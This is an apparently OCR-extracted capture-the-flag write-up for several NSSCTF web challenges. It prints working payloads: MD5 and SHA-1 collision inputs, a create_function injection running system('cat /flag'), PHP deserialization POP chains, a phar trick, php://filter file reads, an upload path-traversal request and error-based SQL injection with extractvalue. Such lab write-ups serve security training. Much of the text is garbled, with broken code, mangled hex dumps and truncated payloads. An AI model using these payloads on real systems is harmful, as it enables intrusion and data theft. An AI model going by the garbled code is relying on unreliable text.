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php
error_reporting(9);

include ;

if ( $ GET[ahahahaha] } ([nauyihsiuc owieglU ]TEG $

echo $FLAG;

1
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show_source(__FILE_);
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0000h: 20 3C 3F 70 68 70 OD DA 65 72 72 6F 72 5F 72 65 <?php..error_re
0010h: 70 6F 72 74 69 6E &7 28 30 29 3B OD 0A 69 6E 63 porting(0);..1inc
0020h: 6C 75 64 65 20 22 66 6C 61 67 2E 70 68 70 22 3B lude "flag.php":
0020h: OD DA 2F 2F 20 EZ 80 AE E2 81 A6 4E 49 53 41 43 . .// 3€83. |NISAC
0040h: 54 46 E2 81 A9 E2 81 A6 57 65 6C 63 6F 6D 65 20 TF3.@3. Welcome
0050h: 74 &6F OD OA 69 &6 20 28 22 6A 69 74 61 6E 67 6C to..if ("jitangl
0060h: 681 69 6C 6F 22 20 3D 3D 20 24 5F 47 45 54 3B 61 ailo" == §_GET[a
0070h: 68 61 68 61 68 61 68 61 3D 20 26 E2 80 AE EZ 81 hahahaha] &a€®3.
0080h: A6 2B 21 21 E2 81 A9 E2 81 A6 26 20 22 E2 80 AE ;+!!3.©3. & "3€@
0090h: EZ 81 AG 20 46 6C 61 &7 21 E2 81 A9 EZ 81 AB 4E 3., Flag!a.g@a.|NM
00ACh: 31 53 41 43 54 46 22 20 3D 3D 20 24 S5F 47 45 54 1S5ACTF" == §_GET
00COh : = 81 A6 63 ?5 69 ?3 68 FQ ?Q ?5 61 3D 25 20 Ep

00D0Oh: 7B 20 2F 2F 74 6E 6E 64 21 20 77 65 69 73 68 65 { //tnnd! weishe
00EOh: 6E 6D 65 20 62 0D DA 20 20 20 20 65 63 68 6F 20 nme b.. echo
O0FOh: 24 46 AC 41 47 3B 0D OA 7D OD DA 73 68 6F 77 3F SFLAG; } show
0100h: 73 6F 75 72 63 65 28 5F 5F 46 49 4C 45 5F 5F 29 source( )]
0110h: 3B OD DA 3F 3E 20 Coul ﬂ"rLZ'r_f

ST R 11631 1) 4 5 14 i payload :

http://120.27.195.236:28990/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E 2%81%A6%63%7 5%

697%73%68%69%79%75%61%6E=%E 2%80%AE%E 2%81%A6%20%46%6C%61%67%21%E 2%81%A%E 2%81%A6%AE%31%53%41%A3%54%46

&« C @ O & 120.27.195.236:28990/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%AI%E2%81 %A6cuishiyuan=%E2%B80%AE%E2%81%A6 Flag!%E2"

NSSCTF{6d27ba36-46ef-41b7-bf56-23f144cd698d} <?php
error reporting(0) ;
include ”flag php”;

o)\ TF

if (Jltanglallo == §_GET[ahahahahal && “NISACTF” == $_GET[cuishiyuan]) { tnnd!  weishenme bUgeiwo Flag!+!!
echo $FLAG;

}

show_source( FILE );
2

level-up

4 & Bl robots. txt

& Load URL I"rtlp:fﬂ.14.?1.254:28816_:’robot5.br|:i
B split URL

b Execute

7

[] Postdata [ | Referrer 4™ OxHEX
@=R~ L Cookiesw p CS5+ [J=H~ @EE~ GFEEE-
User—agent: #*

Disallow:
Disallow: level_2 1s_hdre. php CSDMN @stlcky



<?php

error_reporting(9);
include ;
if (isset($ _POST[ D) isset($_POST[
$al = (string)$_POST[ 1;
$a2 = (string)$_POST[ 1;
if ($a1 $a2){
die( )5

1
J

if (md5(%$al1) md5($a2)){

echo $level3;
b
else{

die(

}
else{

show_source(__FILE_ );

md55#filif#, payload:

POST:

arrayl=1%007%007%007%007%007%007%007%007%007%007%007%007%007%00%007%007%007%007%007%007007%007%00%007%007%007%007%007%007%00%007%00%007%007%0
07%007%007007%007%007%007%007%007%007%007%007%007%007%00%007%007%007%007%007%007%007%007%00%007%00%00%007%00%A3n jn%FD%1A%CB%3A%29Wr%02E
N%CE%89%9A%E3%BEF%F1%BE%EO%EE3%0OE%82%2A%95%23%0D%F A%CE%1CAF 2%CAP%C2%B7 s%OF %C8t%F 28%F AU%AD%2C%EB%1D%D8%D2%007%8C%3
B%FCN%COb4%DB%AC%17%A8%BF%3Fh%841%F4%1E%B5Q%7BJ%FC%BORuUI%60%BA%OD7%F 9%F 9%00%1E%C1%1B%16%COM%2A%7D%B2%BBoW%02%7D%8
F%7F%COqT%DO%CF%3A%9DFH%F1%25%AC%DF %FA%CAG%27 uW%CFNB%E7%EF%B0O&array2=1%007%007%007%007%007%00%007%007%007%007%007%007%00%00

6007%007%007007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%007%00%007%00%007%007%007%007%00%00%
007%:007%007%007%007%007%007%007%007%00%00%00%A3njn%FD%LA%CB%3A%29Wr%02En%CE%89%9A%E 3%8E%CE6%F 1%BE%EO%EE3%OE%82%2A%95%23%0D)
6F A%CE%1CHF 2%CAPJ%C2%B7 s%OF %C8t%F 28zV%AD%2CHEB%1D%D8%D2%00%8C%3B%F CN%CO%E 24%DB%AC%17%A8%BF%3Fh%841i%FA%1E%B5Q%7B%F
C%BORuUJ%60%B4%0OD%B7%F9%F 9%00%1E%C1%1B%16%COM%2A%7D%B2%BBoW%02%7D%8F%7F%COqT%DO%CF%3A%1DFH%F 1%25%AC%DF%FA%CAG%27u
W5CF%CEB%E7%EF%B0O

@ Load URL [ httpy//1.14.71.254:28816/level 2 1s_h3re.php
% split URL

* Execute

@ Postdata [] Referrer 4 OxHEX

Post data array1=1%00%00%600%00900%00%00%00%00
% 0F%CBtIF28%FAL%%AD%2C%ER%% 1 D%DB%D
%:009:00%00%00900%00%00%00%:00%00%00
%BF9%3Fh%84i%F4%1E%B5Q%7B%FC3%BIRWI%

@=R~ L Cockiesw » C55~ [I=H~ @EE~ GFEEE~

Level 3.php oo



php

error_reporting(9);
include ;
if (isset($ POST[ D) isset($_POST[
$al = (string)$_POST[ 1;
$a2 = (string)$_POST[ 1;
if ($a1 $a2){
die( )5

1
J

if (shal($al) shal(%a2)){

echo $level4;
b
else{

die(

}
else{

show_source(__FILE_ );

sha15fiif#, payload:

POST :

array1=%25PDF -1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200bj%0A%3C%3C/Width%202%200%20R /Height%203%200%20R/Type%204%2)
007%20R/Subtype’205%200%20R/Filter%206%200%20R/ColorSpace’%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%
3E%OAstream%OA%FF%D8%F F%FE%00%24SHA-1%201s%20dead%21%21%21%21%21%85 / %EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01s
F%DC%911%B6%7E%11%8F%02%9A%B6%21%B2V%OF %F 9%CAg%kCChAB%CT7%F 8%5B%ABLY%03%0C%2B%3D%E 2%18%F 8m%B3%A9%09%01%D5%DF E%C10%
26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BCKEOF%D2%3CW%OF%EB%14%13%98%BBU . %F5%A0%A8%2B%E31%FE%AA%807%B8%B5%D7%1F%0E
3. %DF%93%AC5%00%EBM%DC%OD%ECKC1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%DOk%DO%AF%3F%98%CD%AA%BCF%29%B1&array2=%25PDF -1. 3%

OA%25%E 2%E3%CF%D3%0A%0A%0OA1%2007%200b 7] %0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205
%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%F F%
D8%FF%FE%00%24SHA-1%2015%20dead?%21%21%21%21%21%85 /%EC%09%239u%9C9%B1%A1%C6%3CL%I7HELK%FF%FE%01%7FF%DC%93%A6%B6%7E
%601%3B%02%9A%AA%1D%B2V%OBE%CAg%DE6%88%C7%F 8K%BCLY%1F%EO%2B%3D%F 6%14%F 8m%B11i%09%01%C5KE%C1S%OA%FE%DF%B7%608%E9rr /%
E7%ADr%8F%0EI%0A%EQF %C20W%OF %EO9%DA%13%98%AB%EL . %F5%BC%94%2B%E35B%AA%80 - %98%B5%D7%0F %2A3 . %C3%7 F%AC5%14%E7M%DC%OF %
2C%C1%A8t%CD%OCXx0Z%21Vda0%97%89%60k%DO%BF%3F%98%CD%A8%0AF%29%A1

@ Load URL | http://1.14.71.254:28816/level_level 4.php
% split URL

* Execute

@ Postdata [| Referrer 4 OxHEX ™ & %UF

Post data array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A
%0C6%3CL3%97%E 1% FF3FES%01sF3%DC691136B6% TES:11%68F
96ABdy%0Cx962Cv3621V3660% 0 D0%97%91 %600k % D0%AFSS
%6 FE%00%245HA-19020is%20dead%21%6219%21%21%21%85

@=Hi~ LACoockiesr » C55+ =58~ @ER~ GFEEE~ [EEMIEE

level_level 4.php CSDN @stl cky



<?php

error_reporting(9);

include ;

show_source(__FILE_);

$str = parse_url($ _SERVER[
if($str[ ] ){
echo

1
J

if(preg_match(
die(

1
J

if($ GET[ ]
die($levels);

1

J

else{
die(

payload:

?NI+SA%5b=txwdever

@ Lload URL [ http://1.14.71.254:28816/level_level_4.php?NI+5A%5b=tuwdever
% split URL

* Execute

[C] Post data [] Referrer 4 OxHEX » % %URL ™
@R~ R Cookiesw » CS5+ [J=8~ @EH~ OFEEE~ [OEHEE SiH

<?php
error_reporting (0) ;
include “str.php”;
show_source(__FILE_ ) ;
$str = parse_url($_SERVER[ REQUEST_URI'1);:
if(§strl query'] = ""){
echo “give me a parameter”;
if(preg match (/' |_|20]5f|2e|\. /7, $str [ query’ 1)) {
die("blacklist here”);
if(§_GET['NI_SA_'] === “txwdever”){
die(§leveld);
elsed
die("level 4 failed ...");
i
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55_5_55php CSD | ";’ =1 i_l'_:r



error_reporting(9);

include ;

ba = $_GET['a'];
$b = $_GET['b'];

if(preg_match(

show_source(__FILE_);
1
J
else{

$a(' ', $b);

55 5 55.phpra=%5ccreate_functio

@ Load URL | httpy//1.14.71.254:28816/55 5 55.php?a=%5ccreate function&b=}system("cat /flag");//
% split URL

* Execute

[J) Postdata [ Referrer 4 OxHEX ™ &% %URL ™ ¥ BASEs4 ™ |:
@R~ K Cookiesw » (S5~ [J=H~ @EH~ OFESE~ [OHtheE SR~ FE- A1E~ m=

NSSCTF{1f9d02a7-96f8-4fbb-9d66-a3561a3baabf}

bingdundun~

< =2 C W A F=%= | 1.14.71.254:28122/?bingdundun=upload

//index.php

e

AL LS (ERSERe] Ssms
FHESCI S, SCAF & B F1 3 php

< C M A F=2 | 1.1471.254:28122/?bingdundun=index

//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.ph
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //index.ph
/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexph
/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂndexphp/ﬂnubkﬂhp/ﬂﬁdexph
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new Phar(
startBuffering();
setStub(
addFromString(
stopBuffering();

A4 IpharSCHFEUR. . zip R4 EAE, HEATSCHE A
?bingdundun=phar:///var/www/html/56602cf7elc9faef25eee090c580f491.zip/test

PRI %E

[ i8: /flag

{flag
1 NSSCTF{541f3f

babyserialize

public $fun
public $txwdever;
public function __ wakeup()
{
if($this->fun
hint();

function _ call($from,$val){
$this->fun=$val[o];

public function __ toString()
{

echo $this->fun;

return

}

public function __ invoke()

{
checkcheck($this->txwdever);
@eval($this->txwlever);

class TianXiWei{
public $ext;
public $x;
public function _ wakeup()

{
$this->ext->nisa($this




public $huang;
public $su;

public function _ call($funil,$arg){
$this->huang->fun=$arg[o];

public function _ toString(){
$bb = $this->su;
return $bb();

class four{
public $a

private $fun

public function _ set($name, $value)
{
$this->$name=$value;
if ($this->fun
strtolower($this->a);

if(isset($_GET[ 1){
@unserialize($_GET[ 1);
Yelse{
highlight file(__FILE_ );

public $fun;
public $txwdever
public function __ wakeup()
{
if($this->fun
hint();

function _ call($from,$val){
$this->fun=$val[o];




public function __ toString()
{
echo $this->fun;
return
}
public function __ invoke()
{
checkcheck($this->txwdever);
@eval($this->txwlever);

class TianXiWei{
public $ext;
public $x;

public function __ wakeup()

{
$this->ext->nisa($this

class Ilovetxw{
public $huang;
public $su;

public function _ construct(){
$this->su new NISA();

public function _ call($funi,$arg){

$this->huang->fun=$arg[0];

public function __ toString(){
$bb $this->su;
return $bb();

class four{
public $a;
private $fun

public function __ set($name, $value)

{

$this->$name=$value;
if ($this->fun
strtolower($this

$ilovetxwl = new Ilovetxw();
$ilovetxwl->su = new NISA();




new four();

$ilovetxwl;

new Ilovetxw();

$ilovetxw2->huang $four;

$tianxiwei = new TianXiWei();

$tianxiwei->ext $ilovetxw2;

echo urlencode(serialize($tianxiwei));

0%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3B0%3A8%3A%2211ovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3B0%3A4
%63A%22Tour%22%3A2%3A%7Bs%3A1%3A%22a%22%3B0%3A8%3A%22I1ovetxwk22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su
%622%3B0%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22Fun%22%3BN%3Bs%3A8%3A%22txwhever%s22%3Bs%3A37%3A%22%24a%3D%27sy%27%3
B%24b%3D%27stem%27%3B%28%24a . %24b%29%28%27 cat+%2F t%2A%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A
%62251X5ixXS1X%22%3B%7Ds%3A2%3A%225u%22%3B0%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22Fun%22%3BN%3Bs%3A8%3A%22txwlevery
22%3Bs%3A37%3A%22%24a%3D%27sy%27%3B%24b%3D%27 stem%27%3B%28%24a . %24b%29%28%27 cat+%2F t%2A%27%29%3B%22%3B%7D%7Ds%3A
1%3A%22x%22%3BN%3B%7D

C A A7

NSSCTF{96eccfod-7681-4a17-b7e2-b283a5e77a

babyupload

Piln) /source NERIEARTD www. zip

from flask import Flask, request, redirect, g, send_from_directory

app = Flask(__name_ )

SCHEMA

def db():
g db (g, > None)
if g db is None:
g db g._database sqlite3.connect(
return g_db

@app.before_first_request
def setup():
os.remove (
cur = db().cursor()
cur.executescript(SCHEMA)




@app.route(
def hello world():

return

@app.route(
def source():

return send_from_directory(directory , as_attachment=True)

@app.route( , methods=][
def upload():
if not in request.files:
return redirect( )
request.files[
if in .filename:
return
conn db()
cur conn.cursor()
uid uuid.uuid4().
try:
cur.execute( , (uid, .filename,))
except sqlite3.IntegrityError:
return

conn.commit()

.save( .filename)
return redirect( uid)

@app.route(

db()
cur = conn.cursor()
cur.execute(
res cur.fetchone()
if res is None:
return

with (os.path.join(
return f.read()

if _ name_

app.run(host , port=80)




BEAE A IR

with open(os.path.join("uploads/", res[@]), "r") as f:

return f.read()

PSRN //F1ag

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Praject options. User options Knife

1 = 2 = 3 % 4 = 5 % 7 = B8 x 9 = 10 = 12 x

El - [ Follow redirection | Target: httpy/1.1471.250:28802 7 (7)
= = inspecTor @ x

Request Response

pretty [EEED \n | Actions v =3 row Render \n  Actions v Query Parameters (0) ~
1 POST /upload HTTP/1.1 HTTP/1. 0 302 FOUND

Host: 1.14.71.254:28802 2 Content-Type: text/html; charset=utf-8 Body Parameters (2) v
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0, WOW64; rv:49.0) 3 Content-Length: 282

Gecko/20100101 Firefox/49.0 4 Location: http://1.14. 71.254:28802/f1le/0e882d9c9bd249b4b56430ceT56aas!| Request Cookies (0) &
4 Accept: 5 Server: Werlzeug/2. 0.3 Python/3.7.10

text/html, application/xhtml+txnl, application/xml; g=0. 9, */*; g=0. & 6 Date: Mon, 28 Mar 2022 08:36:41 GMT Request Headers (12) ~

5 Accept-Language: zh-CHN, zh; g=0. 8, en-US; g=0. 5, en; g=0. 3

Accept-Encoding: gzip, deflate 8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> Response Headers (5) v
T Referer: http://1.14.71.254:28802/ 9 <title>
B Redirecting. ..
:127.0.0.1 <ftitlex
Connection: close 10 <hl>
11 Upgrade-Insecure-Requests: 1 Redirecting. ..
12 Content—Type: multipart/form—data; <fh1>
boundary 111184099039 11 <p>
13 Content-Length: 327 You should be redirected autecmatically to target URL: <a href="/file
14 . If not click the link.
111184099039
6 Content-Disposition: form-data; name="file”; filename="//flag|
17 Content-Type: text/plain
KVEFMUZNMI4HET JSGVGWGVSWOVEVORSKE ZUUCT
111184099059
Content-Disposition: form-data; name="submit”
Upload File
111184099059
Omatches  (2)403 (€[] | cearc 0 matches

(@) c

CORuGs 155 Kilis

@ Load URL [ http://1.14.71.254:28802//file/0eBB2d0cObd240b4b56430ce756aae55|
% split URL

b Execute

[C] Post data (] Referrer 4™ OxHEX ™» &% %URL ™ & BASEGd
R~ KACookiesv » CSS [J=H~ @ER~ @FOEE~ O H Mt AiRSy FElr AT

NSSCTF{39826f7e-4be2-48a3-88d1-d420c588860c¢}

easyssrf



FLLFRRARIREY

IERINZECURLAIRI,

CURL

Hin TIXEET 7 ag, . ERFLIEERIE: /f4g

ZFLLFRRARIREY

T A\ ECURLIRILS

CURL

file:///fl4g BHRARIN T :

(RIS BEE 7 index.php, EAEREMhalxluxlu. php

<?php

highlight file(_ FILE_);

error_reporting(9);

echo file get contents($file);

fAl FLALFI halxluxlu.php?file=php://filter/convert.base64-encode/resource=/flag



echo

in secret

RN E R, UL, TE % -> [CISCN2019_# % 5 % [X ]Double_Secret

EXP

import urllib.parse
import base64

import requests

from html import unescape

def init _box(key):

s_box (256))

j=20

for i in (256):
Jj (3 s_box[1i] (key[1i (key)1)) 256
s_box[i], s_box[j] s_box[j], s_box[i]

return s_box

def ex_encrypt(plain, box, mode):

if mode
while True:

c_mode (

if c_mode :
plain = base64.b64decode(plain)
plain .decode(plain)
break

elif c_mode
plain plain
break

else:
print(

continue

[]
i=j=20
for s in plain:
i (i +1) 256
j (3 box[i]) 256
box[i], box[j] box[j], box[i]




[ box[t]
res.append(

cipher .join(res)
if mode fi%:

return urllib.parse.quote(cipher)
if mode 28

print(

print(cipher)

return cipher

Rc4_encrypt(message, key):
box init_box(key)

return ex_encrypt(message, box, 1)

Rc4_decrypt(message, key):
box init_box(key)
return ex_encrypt(message, box, 2)

if _ _name__
url
payload
key
res requests.get(url Rc4_encrypt(payload, key))

print(unescape(res.text))

et.py

is not allowed. S

popchains



if(isset($_GET] IDDA
@unserialize($_GET[

)i

else{
$a=new Road_is_Long;
highlight file(_ FILE_ );

class Road_is_Long{

public $page;

public $string;

public function _ construct($file
$this->page $file;

)i

public function __ toString(){
return $this->string->page;

public function __ wakeup(){
if(preg_match(
echo

$this->page

class Try_Work_ Hard{

protected $var;

public function append($value){
include($value);

b

public function __invoke(){
$this->append($this->var);

class Make_a_Change{
public $effort;
public function _ construct(){
$this->effort array();

public function _ get($key){
$function $this->effort;
return $function();

, $this

page)) {




<?php

class Road_is Long{
public $page;
public $string;
public function _ construct($file
$this->page $file;
)i
public function __ toString(){

return $this->string->page;

public function _ wakeup(){
if(preg_match( , $this->page)) {
echo

$this->page

class Try_Work_Hard{
protected $var ;
public function append($value){
include($value);
)i
public function __invoke(){

$this->append($this->var);

class Make_a_Change{
public $effort;

public function _ get($key){
$function $this->effort;
return $function();

new Make_a Change();
effort new Try Work Hard();

new Road_is Long();
string $mac;

new Road_is Long();
page = $rili;

echo urlencode(serialize($ril2));
0%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3B0%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%2
2%3Bs%3A9%3A%22index . php%22%3Bs%3A6%3A%22string%22%3B0%3A13%3A%22Make _a_ Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%

3B0%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Ff1ag%22%3B%7D%7D%7Ds%3A6%3A%2
2string%22%3BN%3B%7D

SRR 7 1.14.71.254

Happy New Year~ MAKE A WISH
NSSCTF{be ide-154a-4e1e-9413-bbf?




middlerce

_ IDDA
$txwdever = $ REQUEST[ 1;
if (preg_match( ,$txwaever)){
die( )5
}

else{

$command json_decode($txwlever, true)|

checkdata($command);

@eval($command);

1
J
else{
highlight file(__ FILE_ );

BN, %ea KEwtHIA L7, At A= [m i seid .

et TARZ AR, SR SHBOIE . TR EE - PUTARS, e 25 A€ A B
SRIEMR A 8, XL 7 4F A 55556555

EXP

t requests
payload (1000000)
requests.post( 5 { :payload})
print(res.text)

1 NSSCTF{5188dac9-bal9-4efd-a54b-a89d9e5276ch}

join us

REHEN, C dl.php BAFFETHK, —B—BEEmIidIE.



<?php
error_reporting(9);
session_start();
include_once
global $MysqllLink;
$MysqglLink = mysqli connect( ,$datauser, $datapass);
if(!$MysqlLink) {
)5

1
J

$selectDB = mysqli select db($MysqllLink,$dataName);
if(!$selectDB) {
die( )
}
if(isset($_POST[ 1)) {
$txwdever = $ POST[ 1;
$blacklist
if(preg_match("/{$blacklist} ,$txwiever)) {
die( )5

1
J

$sql $txwlever
$result mysqli_query($MysqlLink,$sql);
if($result) {

$row = mysqli_fetch_array($result);

echo ;
print_r($row|[ 1;

} else {
echo mysqli_error($MysqlLink);

FXAMAE, KEEENMESHEH, AR,
3 or fiban T, FLEIE information WA T, H mysql.innodb_table stats &&id.

HENF 4, KIIH FLAG_TABLE,news,users,gtid_slaave pos,Fal_flag,output o
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1% 2 x 3 x 4 x 5 x 7 x 8 x 9 x
Bl - [>1"] Target: httpy/124.221.24137:28954 7 (7)
==
Request Response m INSPECTOR @ X
cretty R \n Actions v Raw Render \n Actions v Query Parameters (0) v
1 POST /dl.php HITE/1.1 <fdivy
2 Host: 124,221, 24,137:28954 104 <div > Body Parameters (1) 4
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)
Gecko/20100101 Firefox/49.0 105 <ul id="alt” > Request Cookies (0) =
4 Accept: 106 <11 >
text/html, application/xhtml+txml, application/xml; g=0. 9, */*; ¢=0. & Request Headers (12) v
5 Accept-Language: zh-CHN, zh; q=0. 8, en-US;q=0. 5, en; q=0. 3 107 <a href="picture/ /"%
© Accept-Encoding: zzip, deflate 108 <img sre="picture//FES " alt="FHWE T | Response Headers (6) ~
T Referer: http://124.221.24.137:28954/dl. php <or/>
2 DNT: 1 B-AwEMEE
9 X-Real-IP: 127.0.0.1 109 <fax
10 Comnection: close 110 /11y
11 Upgrade-Insecure-Requests: 1
12 Content—Type: application/s—www—form—urlencoded 111 <11 >
13 Content-Length: 103
14 112 <a href="picture/ % . ipe™>
15 tt=1" | |extractvalue(1, concat (0x7e, (select group_concat(table_name) 113 <img sre="picture/Z R TIE. jpe” alt="i IR
from mysql. innodb_table_stats), Ox7e)) & <br/>
HRARERERERS S
114 <fa»
115 <f1i>
116 <li >
117 <a href="picture//~i%
118 <img src="picture//| 2 " oalt=" [RE] LA
<br/>
[N S PNIIE
119 <fa>»
120 <fli>
121 <fdivy
122 <fdive
123 </body>
124 </html >
125
26
127 XPATH syntax error: ' FLAG_TABLE, news, users, gtid s...’
@iy [€|[=] [ search. 0 matches ()03 [€ ][] [ sesrch.. 0 matches
Ready % hablufss 128 Mifis
. p)
2 2 -
FLAG_TABLE i MHZ 58! 1 1 1 HSZFE output B! ! ! !
, N N N
1 TIRZ I FI7E FLAG_TABLE , R 2% T -2,
Burp Project Intruder Repeater Window Help
Dashboard ~ Target  Proxy  Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Extender  Projectoptions  User options  Knife
1 % 2 = 3 x 4 = 5 x 7 = B x 9 =
2= - (<> Target: httpy//124.221.24137:28889 &7 (2)
==
Request Response m INSPECTOR @ X
prety BRI \n Actions v Raw Render \n Actions v Query Parameters (0} v
1 POST /dl.php HTTP/1.1 <fdiv>
2 Host: 124.221. 24.137:28889 104 <div > Body Parameters (1) i
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)
Gecko/20100101 Firefox/49.0 105 <ul id="alt” > Request Cookies (0) hd
4 Accept: 106 <1i >
text/html, application/xhtml+xml, application/xml; g=0. 9, */*; q=0. 8 Request Headers (12) ~
5 Accept-Language: zh-CHN, zh;q=0. 8, en-US; q=0. 5, en; g=0. 3 107 <a href="picture// %
6 Accept-Encoding: gzip, deflate 108 <img src="picture/ L " alt="f1 SIS T | Response Headers (6) v
7 Referer: http://124.221. 24.137:28954/dl. php <br/>
3 DNT: 1 H—HWAE R
9 X-Real-IP: 127.0.0.1 109 <fa>
10 Connection: close 110 <f1i
11 Upgrade-Insecure-Requests: 1
12 Content-Type: application/x—www—formurlencoded 111 <li >
12 Content-Length: 96
14 112 <a href="picture/ 4 {547, jpe”>
15 tt=1" | |extractvalue (1, concat (0x7e, (select * from (select * from 113 <img sre="picture/ A S EN. dpg” alt="11—HIXIERE:
output a join output )h), 0xTe))# <br/>
Ak R RER ST
114 <fa>
115 i
116 <li >
117 <a href="picture//f
118 <img src="picture//fL alt=" [&EH] B4
<br/>
HAEE A
119 <fa>
120 <f1i
121 <fdive
122 <Jdivy
123 </hody>
124 </html>
125
127 Duplicate column name 'data’

QB [€3) [

Ready

27 B4 data, Aamlal G Fiflag T .

0 matches

0 matches

@B €3] [Fo

36 Kilis
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1 x 2 x 3 4 x 5 7 = 8 x 9 x

- D

Target: httpy/124.221.24137:28889 7 (7)

Request Response = = inspecTOR @ x
cretty R \n Actions v Raw Render \n Actions v Query Parameters (0) ~
1 POST /dl.php HITE/1.1 <fdivy
2 Host: 124.221.24.137:28889 104 <div > Body Parameters (1) h
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)

Gecko/20100101 Firefox/49.0 05 <ul id="alt” > Request Cookies (0) =
4 Accept: 106 <11 >

text/html, application/xhtml+txml, application/xml; g=0. 9, */*; ¢=0. & Request Headers (12) v
5 Accept-Language: zh-CHN, zh; q=0. 8, en-US;q=0. 5, en; q=0. 3 107 <a href="picture/ /"%
© Accept-Encoding: gzip, deflate 108 <img sre="picture//FES " alt="{ M5 T | Response Headers (6) v
T Referer: http://124.221. 24.137:28954/dl. php <or/>

DNT: 1 FE £l (LN A

¥-Real-TP: 127.0.0.1 <fax
10 Comnection: close /11y
11 Upgrade-Insecure-Requests: 1
12 Content—Type: application/s—www—form—urlencoded 111 <11 >
13 Content-Length: 67
14 112 <a href="picture/ % ~pe”>
15 tt=1" | |extractvalue(l, concat (0x7e, (select data from output)} Ox7e))# 113 <img sre="picture/ A AR, jpg” alt="i 7
<br/>
HRARERERERS S
114 <fa»
115 <f1i>
116 <li >
117 <a href="picture/ il
118 <img sre="picture//FES " oalt=" [FEH ] LA
<br/>
EEREEFFNE: ]
119 <fa»
120 f1i>
121 <fdive
<Jdive
</body>
</html >

XPATH syntax error: ' NSSCTF {911360e7-3552-4c20-ae...

@& [€)[=] cearn Omatches (D)0} (€ ][] [ search 0 matches

